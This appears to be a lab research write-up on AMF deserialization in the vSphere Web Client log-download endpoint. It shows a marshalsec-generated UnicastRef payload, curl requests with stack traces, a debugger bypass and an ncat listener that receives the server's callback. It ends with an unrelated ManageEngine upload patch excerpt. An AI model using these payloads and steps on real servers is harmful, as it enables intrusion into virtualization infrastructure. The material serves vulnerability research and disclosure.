startColorstr='#3a8dc8', endColorstr='#183a62',GradientType=0 ); /* IE6-9 */ background-repeat: no-repeat; height: 100%; overflow: auto; margin: 0; padding: 0; } #errorAreaWrapper { position: relative; float: left; left: 50%; margin-top: 30px; } #errorArea { position: relative; float: left; left: -50%; padding: 15px; background-color: white; font-size: 14px; color: #000000; font-family: Georgia, Arial, Helvetica, sans-serif; border: 1px solid black; } #errorImage { border: 0; margin-right: 10px; display: inline-block; vertical-align: top; } #errorAllText { display: inline-block; vertical-align: top; min-width: 500px; max-width: 700px; } #errorSorry { font-weight: bold; } #errorMessage { padding-top: 10px; padding-bottom: 10px; } #errorCheckLog { font-style: italic; } </style> </head> <body> <div id="errorAreaWrapper"> <div id="errorArea"> <div id="errorImage"><img src="/vsphere-client/assets/warning48x.png" alt="Error" /></div> <div id="errorAllText"> <div id="errorSorry">A server error occurred.</div> <div id="errorMessage">Unknown AMF type '65'.</div> <div id="errorCheckLog">Check the vSphere Web Client server logs for details.</div> </div> </div> </div> </body> </html> * Closing connection 0 * TLSv1.2 (OUT), TLS alert, close notify (256): wvu@kharak:~$
[2021-12-04T01:02:59.500Z] [WARN ] http-nio-9090-exec-7 70000069 ###### ###### com.vmware.vsphere.client.logbundle.DownloadLogController ClientId is null. [2021-12-04T01:02:59.507Z] [ERROR] http-nio-9090-exec-7 o.a.c.c.C.[.[localhost].[/vsphere-client].[downloadManager] Servlet.service() for servlet [downloadManager] in context with path [/vsphere-client] threw exception [Request processing failed; nested exception is flex.messaging.io.UnknownTypeException: Unknown AMF type '65'.] with root cause flex.messaging.io.UnknownTypeException: Unknown AMF type '65'. at flex.messaging.io.amf.Amf3Input.readObjectValue(Amf3Input.java:232) at flex.messaging.io.amf.Amf3Input.readObject(Amf3Input.java:134) at com.vmware.vsphere.client.logbundle.DownloadLogController.parseSelectedLogsSpec(DownloadLogController.java:745) at com.vmware.vsphere.client.logbundle.DownloadLogController.processSelectedLogsSpecParameter(DownloadLogController.java:584) at com.vmware.vsphere.client.logbundle.DownloadLogController.downloadLogBundles(DownloadLogController.java:201) at sun.reflect.GeneratedMethodAccessor196.invoke(Unknown Source) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:498) at org.springframework.web.bind.annotation.support.HandlerMethodInvoker.invokeHandlerMethod(HandlerMethodInvoker.java:181) at org.springframework.web.servlet.mvc.annotation.AnnotationMethodHandlerAdapter.invokeHandlerMethod(AnnotationMethodHandlerAdapter.java:440) at org.springframework.web.servlet.mvc.annotation.AnnotationMethodHandlerAdapter.handle(AnnotationMethodHandlerAdapter.java:428) at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:967) at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:901) at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:970) at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:872) at javax.servlet.http.HttpServlet.service(HttpServlet.java:661) at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:846) at javax.servlet.http.HttpServlet.service(HttpServlet.java:742) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:317) at org.springframework.security.web.access.intercept.FilterSecurityInterceptor.invoke(FilterSecurityInterceptor.java:127) at org.springframework.security.web.access.intercept.FilterSecurityInterceptor.doFilter(FilterSecurityInterceptor.java:91) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) at org.springframework.security.web.access.ExceptionTranslationFilter.doFilter(ExceptionTranslationFilter.java:114) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) at org.springframework.security.web.session.SessionManagementFilter.doFilter(SessionManagementFilter.java:137) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) at org.springframework.security.web.authentication.AnonymousAuthenticationFilter.doFilter(AnonymousAuthenticationFilter.java:111) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) at org.springframework.security.web.authentication.rememberme.RememberMeAuthenticationFilter.doFilter(RememberMeAuthenticationFilter.java:150) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) at org.springframework.security.web.servletapi.SecurityContextHolderAwareRequestFilter.doFilter(SecurityContextHolderAwareRequestFilter.java:170) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) at org.springframework.security.web.savedrequest.RequestCacheAwareFilter.doFilter(RequestCacheAwareFilter.java:63) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) at org.springframework.security.web.authentication.AbstractAuthenticationProcessingFilter.doFilter(AbstractAuthenticationProcessingFilter.java:200) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) at org.springframework.security.web.authentication.logout.LogoutFilter.doFilter(LogoutFilter.java:116) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) at org.springframework.security.web.header.HeaderWriterFilter.doFilterInternal(HeaderWriterFilter.java:66) at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) at org.springframework.security.web.context.request.async.WebAsyncManagerIntegrationFilter.doFilterInternal(WebAsyncManagerIntegrationFilter.java:56) at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) at org.springframework.security.web.context.SecurityContextPersistenceFilter.doFilter(SecurityContextPersistenceFilter.java:105) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) at com.vmware.vise.security.websso.SecurityRequestWrapperFilter.doFilterInternal(SecurityRequestWrapperFilter.java:47) at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) at org.springframework.security.web.FilterChainProxy.doFilterInternal(FilterChainProxy.java:214) at org.springframework.security.web.FilterChainProxy.doFilter(FilterChainProxy.java:177) at org.springframework.web.filter.DelegatingFilterProxy.invokeDelegate(DelegatingFilterProxy.java:347) at org.springframework.web.filter.DelegatingFilterProxy.doFilter(DelegatingFilterProxy.java:263) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) at com.vmware.vise.security.SessionManagementFilter.doFilter(SessionManagementFilter.java:177) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) at com.vmware.vsphere.client.logging.MDCLogFilter.doFilterInternal(MDCLogFilter.java:41) at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) at com.vmware.vise.extensionfw.DeploymentFilter.doFilter(DeploymentFilter.java:55) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) at com.vmware.vise.util.jsp.JspFilter.doFilterInternal(JspFilter.java:91) at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) at com.vmware.vise.security.SameSiteCookieHeaderFilter.doFilter(SameSiteCookieHeaderFilter.java:73) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:199) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:97) at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:544) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:143) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:81) at org.apache.catalina.valves.RemoteIpValve.invoke(RemoteIpValve.java:764) at org.eclipse.virgo.web.tomcat.support.ApplicationNameTrackingValve.invoke(ApplicationNameTrackingValve.java:33) at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:690) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:78) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:343) at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:616) at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65) at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:831) at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1634) at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:748)
Testing AMF deserialization using the UnicastRef
gadget
root@895ea1dbdd95:~/marshalsec# java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.BlazeDSAMF3 UnicastRef 172.16.57.1 4444 | base64 -w 0 | xargs Cgczc3VuLnJtaS5zZXJ2ZXIuVW5pY2FzdFJlZgALMTcyLjE2LjU3LjEAABFcAAAAAHyVTXIAAAAAAAAAAAAAAAAAAAA= root@895ea1dbdd95:~/marshalsec#
wvu@kharak:~$ curl -kv https://172.16.57.237/vsphere-client/download/logs -d "webClientSessionId=nope&SelectedLogsSpec=Cgczc3VuLnJtaS5zZXJ2ZXIuVW5pY2FzdFJlZgALMTcyLjE2LjU3LjEAABFcAAAAAHyVTXIAAAAAAAAAAAAAAAAAAAA=" * Trying 172.16.57.237:443... * Connected to 172.16.57.237 (172.16.57.237) port 443 (#0) * ALPN, offering h2 * ALPN, offering http/1.1 * TLSv1.3 (OUT), TLS handshake, Client hello (1): * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.2 (IN), TLS handshake, Certificate (11): * TLSv1.2 (IN), TLS handshake, Server key exchange (12): * TLSv1.2 (IN), TLS handshake, Server finished (14): * TLSv1.2 (OUT), TLS handshake, Client key exchange (16): * TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.2 (OUT), TLS handshake, Finished (20): * TLSv1.2 (IN), TLS handshake, Finished (20): * SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384 * ALPN, server did not agree to a protocol * Server certificate: * subject: CN=172.16.57.237; C=US * start date: Nov 30 23:59:14 2021 GMT * expire date: Dec 1 11:59:14 2023 GMT * issuer: CN=CA; DC=vsphere; DC=local; C=US; ST=California; O=photon-machine; OU=VMware Engineering * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway. > POST /vsphere-client/download/logs HTTP/1.1 > Host: 172.16.57.237 > User-Agent: curl/7.80.0 > Accept: */* > Content-Length: 133 > Content-Type: application/x-www-form-urlencoded > * Mark bundle as not supporting multiuse < HTTP/1.1 500 < Set-Cookie: JSESSIONID=FCDFEC1FA6DBC64A0638002A142EB766; Path=/vsphere-client; Secure; HttpOnly < Cache-Control: no-cache, no-store, max-age=0, must-revalidate < Pragma: no-cache < Expires: 0 < Strict-Transport-Security: max-age=31536000 ; includeSubDomains < X-XSS-Protection: 1; mode=block < X-Frame-Options: SAMEORIGIN < X-Content-Type-Options: nosniff < Content-Type: text/html;charset=utf-8 < Content-Length: 2963 < Date: Sat, 04 Dec 2021 01:04:57 GMT < Connection: close < Server: Anonymous < <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- saved from url=(0014)about:internet --> <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <style type="text/css" media="screen"> html { background: #3075ab; /* Old browsers */ background: -moz-linear-gradient(top, #3a8dc8 0%, #183a62 100%); /* FF3.6+ */ background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#3a8dc8), color-stop(100%,#183a62)); /* Chrome,Safari4+ */ background: -webkit-linear-gradient(top, #3a8dc8 0%,#183a62 100%); /* Chrome10+,Safari5.1+ */ background: -o-linear-gradient(top, #3a8dc8 0%,#183a62 100%); /* Opera 11.10+ */ background: -ms-linear-gradient(top, #3a8dc8 0%,#183a62 100%); /* IE10+ */ background: linear-gradient(to bottom, #3a8dc8 0%,#183a62 100%); /* W3C */ filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#3a8dc8', endColorstr='#183a62',GradientType=0 ); /* IE6-9 */ background-repeat: no-repeat; height: 100%; overflow: auto; margin: 0; padding: 0; } #errorAreaWrapper { position: relative; float: left; left: 50%; margin-top: 30px; } #errorArea { position: relative; float: left; left: -50%; padding: 15px; background-color: white; font-size: 14px; color: #000000; font-family: Georgia, Arial, Helvetica, sans-serif; border: 1px solid black; } #errorImage { border: 0; margin-right: 10px; display: inline-block; vertical-align: top; } #errorAllText { display: inline-block; vertical-align: top; min-width: 500px; max-width: 700px; } #errorSorry { font-weight: bold; } #errorMessage { padding-top: 10px; padding-bottom: 10px; } #errorCheckLog { font-style: italic; } </style> </head> <body> <div id="errorAreaWrapper"> <div id="errorArea"> <div id="errorImage"><img src="/vsphere-client/assets/warning48x.png" alt="Error" /></div> <div id="errorAllText"> <div id="errorSorry">A server error occurred.</div> <div id="errorMessage">Creation validation for class 'sun.rmi.server.UnicastRef' failed.</div> <div id="errorCheckLog">Check the vSphere Web Client server logs for details.</div> </div> </div> </div> </body> </html> * Closing connection 0 * TLSv1.2 (OUT), TLS alert, close notify (256): wvu@kharak:~$
[2021-12-04T01:04:48.349Z] [WARN ] http-nio-9090-exec-1 70000071 ###### ###### com.vmware.vsphere.client.logbundle.DownloadLogController ClientId is null. [2021-12-04T01:04:48.353Z] [WARN ] http-nio-9090-exec-1 70000071 ###### ###### c.vmware.vise.messaging.validators.ClassDeserializationValidator Deserialization skipped for type sun.rmi.server.UnicastRef [2021-12-04T01:04:57.329Z] [ERROR] http-nio-9090-exec-1 o.a.c.c.C.[.[localhost].[/vsphere-client].[downloadManager] Servlet.service() for servlet [downloadManager] in context with path [/vsphere-client] threw exception [Request processing failed; nested exception is flex.messaging.io.SerializationException: Creation validation for class 'sun.rmi.server.UnicastRef' failed.] with root cause flex.messaging.io.SerializationException: Creation validation for class 'sun.rmi.server.UnicastRef' failed. at flex.messaging.util.ClassUtil.validateCreation(ClassUtil.java:354) at flex.messaging.util.ClassUtil.createDefaultInstance(ClassUtil.java:115) at flex.messaging.io.AbstractProxy.createInstanceFromClassName(AbstractProxy.java:95) at flex.messaging.io.AbstractProxy.createInstance(AbstractProxy.java:115) at flex.messaging.io.amf.AbstractAmfInput.createObjectInstance(AbstractAmfInput.java:169) at flex.messaging.io.amf.Amf3Input.readScriptObject(Amf3Input.java:748) at flex.messaging.io.amf.Amf3Input.readObjectValue(Amf3Input.java:156) at flex.messaging.io.amf.Amf3Input.readObject(Amf3Input.java:134) at com.vmware.vsphere.client.logbundle.DownloadLogController.parseSelectedLogsSpec(DownloadLogController.java:745) at com.vmware.vsphere.client.logbundle.DownloadLogController.processSelectedLogsSpecParameter(DownloadLogController.java:584) at com.vmware.vsphere.client.logbundle.DownloadLogController.downloadLogBundles(DownloadLogController.java:201) at sun.reflect.GeneratedMethodAccessor196.invoke(Unknown Source) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:498) at org.springframework.web.bind.annotation.support.HandlerMethodInvoker.invokeHandlerMethod(HandlerMethodInvoker.java:181) at org.springframework.web.servlet.mvc.annotation.AnnotationMethodHandlerAdapter.invokeHandlerMethod(AnnotationMethodHandlerAdapter.java:440) at org.springframework.web.servlet.mvc.annotation.AnnotationMethodHandlerAdapter.handle(AnnotationMethodHandlerAdapter.java:428) at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:967) at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:901) at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:970) at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:872) at javax.servlet.http.HttpServlet.service(HttpServlet.java:661) at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:846) at javax.servlet.http.HttpServlet.service(HttpServlet.java:742) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:317) at org.springframework.security.web.access.intercept.FilterSecurityInterceptor.invoke(FilterSecurityInterceptor.java:127) at org.springframework.security.web.access.intercept.FilterSecurityInterceptor.doFilter(FilterSecurityInterceptor.java:91) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) at org.springframework.security.web.access.ExceptionTranslationFilter.doFilter(ExceptionTranslationFilter.java:114) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) at org.springframework.security.web.session.SessionManagementFilter.doFilter(SessionManagementFilter.java:137) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) at org.springframework.security.web.authentication.AnonymousAuthenticationFilter.doFilter(AnonymousAuthenticationFilter.java:111) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) at org.springframework.security.web.authentication.rememberme.RememberMeAuthenticationFilter.doFilter(RememberMeAuthenticationFilter.java:150) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) at org.springframework.security.web.servletapi.SecurityContextHolderAwareRequestFilter.doFilter(SecurityContextHolderAwareRequestFilter.java:170) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) at org.springframework.security.web.savedrequest.RequestCacheAwareFilter.doFilter(RequestCacheAwareFilter.java:63) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) at org.springframework.security.web.authentication.AbstractAuthenticationProcessingFilter.doFilter(AbstractAuthenticationProcessingFilter.java:200) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) at org.springframework.security.web.authentication.logout.LogoutFilter.doFilter(LogoutFilter.java:116) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) at org.springframework.security.web.header.HeaderWriterFilter.doFilterInternal(HeaderWriterFilter.java:66) at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) at org.springframework.security.web.context.request.async.WebAsyncManagerIntegrationFilter.doFilterInternal(WebAsyncManagerIntegrationFilter.java:56) at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) at org.springframework.security.web.context.SecurityContextPersistenceFilter.doFilter(SecurityContextPersistenceFilter.java:105) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) at com.vmware.vise.security.websso.SecurityRequestWrapperFilter.doFilterInternal(SecurityRequestWrapperFilter.java:47) at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331) at org.springframework.security.web.FilterChainProxy.doFilterInternal(FilterChainProxy.java:214) at org.springframework.security.web.FilterChainProxy.doFilter(FilterChainProxy.java:177) at org.springframework.web.filter.DelegatingFilterProxy.invokeDelegate(DelegatingFilterProxy.java:347) at org.springframework.web.filter.DelegatingFilterProxy.doFilter(DelegatingFilterProxy.java:263) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) at com.vmware.vise.security.SessionManagementFilter.doFilter(SessionManagementFilter.java:177) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) at com.vmware.vsphere.client.logging.MDCLogFilter.doFilterInternal(MDCLogFilter.java:41) at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) at com.vmware.vise.extensionfw.DeploymentFilter.doFilter(DeploymentFilter.java:55) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) at com.vmware.vise.util.jsp.JspFilter.doFilterInternal(JspFilter.java:91) at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) at com.vmware.vise.security.SameSiteCookieHeaderFilter.doFilter(SameSiteCookieHeaderFilter.java:73) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:199) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:97) at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:544) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:143) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:81) at org.apache.catalina.valves.RemoteIpValve.invoke(RemoteIpValve.java:764) at org.eclipse.virgo.web.tomcat.support.ApplicationNameTrackingValve.invoke(ApplicationNameTrackingValve.java:33) at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:690) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:78) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:343) at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:616) at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65) at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:831) at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1634) at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:748)
Testing RCE by forcing it in a debugger, lol
wvu@kharak:~$ curl -kv https://172.16.57.237/vsphere-client/download/logs -d "webClientSessionId=nope&SelectedLogsSpec=Cgczc3VuLnJtaS5zZXJ2ZXIuVW5pY2FzdFJlZgALMTcyLjE2LjU3LjEAABFcAAAAAHyVTXIAAAAAAAAAAAAAAAAAAAA=" * Trying 172.16.57.237:443... * Connected to 172.16.57.237 (172.16.57.237) port 443 (#0) * ALPN, offering h2 * ALPN, offering http/1.1 * TLSv1.3 (OUT), TLS handshake, Client hello (1): * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.2 (IN), TLS handshake, Certificate (11): * TLSv1.2 (IN), TLS handshake, Server key exchange (12): * TLSv1.2 (IN), TLS handshake, Server finished (14): * TLSv1.2 (OUT), TLS handshake, Client key exchange (16): * TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.2 (OUT), TLS handshake, Finished (20): * TLSv1.2 (IN), TLS handshake, Finished (20): * SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384 * ALPN, server did not agree to a protocol * Server certificate: * subject: CN=172.16.57.237; C=US * start date: Nov 30 23:59:14 2021 GMT * expire date: Dec 1 11:59:14 2023 GMT * issuer: CN=CA; DC=vsphere; DC=local; C=US; ST=California; O=photon-machine; OU=VMware Engineering * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway. > POST /vsphere-client/download/logs HTTP/1.1 > Host: 172.16.57.237 > User-Agent: curl/7.80.0 > Accept: */* > Content-Length: 133 > Content-Type: application/x-www-form-urlencoded >
Breakpoint hit: "thread=http-nio-9090-exec-10", flex.messaging.util.ClassUtil.validateCreation(), line=351 bci=76 351 if (!valid) { http-nio-9090-exec-10[1] print valid valid = false http-nio-9090-exec-10[1] set valid = true valid = true = true http-nio-9090-exec-10[1] cont >
wvu@kharak:~$ ncat -lkv 4444 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 172.16.57.237. Ncat: Connection from 172.16.57.237:41660. JRMIK
Listing the allowed class patterns for future work
DataService.util.* \[B \[Ljava.lang.Object; antrun.* cis.ds.* classes.* classes.com.vmware.vim.binding.phonehome.* classes.com.vmware.vim.sso.* com.vmware.* flex.messaging.io.ArrayCollection flex.messaging.io.ArrayList flex.messaging.io.amf.ASObject flex.messaging.io.amf.SerializedObject flex.messaging.messages.AcknowledgeMessage flex.messaging.messages.AcknowledgeMessageExt flex.messaging.messages.AsyncMessage flex.messaging.messages.AsyncMessageExt flex.messaging.messages.CommandMessage flex.messaging.messages.CommandMessageExt flex.messaging.messages.ErrorMessage flex.messaging.messages.HTTPMessage flex.messaging.messages.RemotingMessage flex.messaging.messages.SOAPMessage java.lang.Boolean java.lang.Byte java.lang.Character java.lang.Double java.lang.Float java.lang.Integer java.lang.Long java.lang.Object java.lang.Short java.lang.String java.util.ArrayList java.util.Date java.util.HashMap lib.* metadata.* mozilla.* org.apache.commons.net.* org.apache.commons.net.bsd.* org.apache.commons.net.chargen.* org.apache.commons.net.daytime.* org.apache.commons.net.discard.* org.apache.commons.net.echo.* org.apache.commons.net.finger.* org.apache.commons.net.ftp.* org.apache.commons.net.ftp.parser.* org.apache.commons.net.imap.* org.apache.commons.net.io.* org.apache.commons.net.nntp.* org.apache.commons.net.ntp.* org.apache.commons.net.pop3.* org.apache.commons.net.smtp.* org.apache.commons.net.telnet.* org.apache.commons.net.tftp.* org.apache.commons.net.time.* org.apache.commons.net.util.* org.apache.commons.net.whois.* org.json.* org.w3c.dom.Document schema.*
Technical Analysis
The affected endpoint is /RestAPI/WC/NotificationTemplate/attachFiles
with parameter UPLOADED_FILE
. The vulnerability can be exploited as the SYSTEM
user if the server is started as a service.
Patch
File(name) extension is now validated against an allowlist.
+ <url path="/RestAPI/WC/NotificationTemplate/attachFiles" method="post" dynamic-params="true" csrf="true"> + <file name="UPLOADED_FILE" content-type-name="notificationTemplateAttachments" max-size="25600" allowed-extensions="jpg,jpeg,gif,bmp,ico,png,csv,pdf,html,xls,xlsx"> + <filename regex="allowedFileNameChars" max-len="255"/> + </file> + </url>
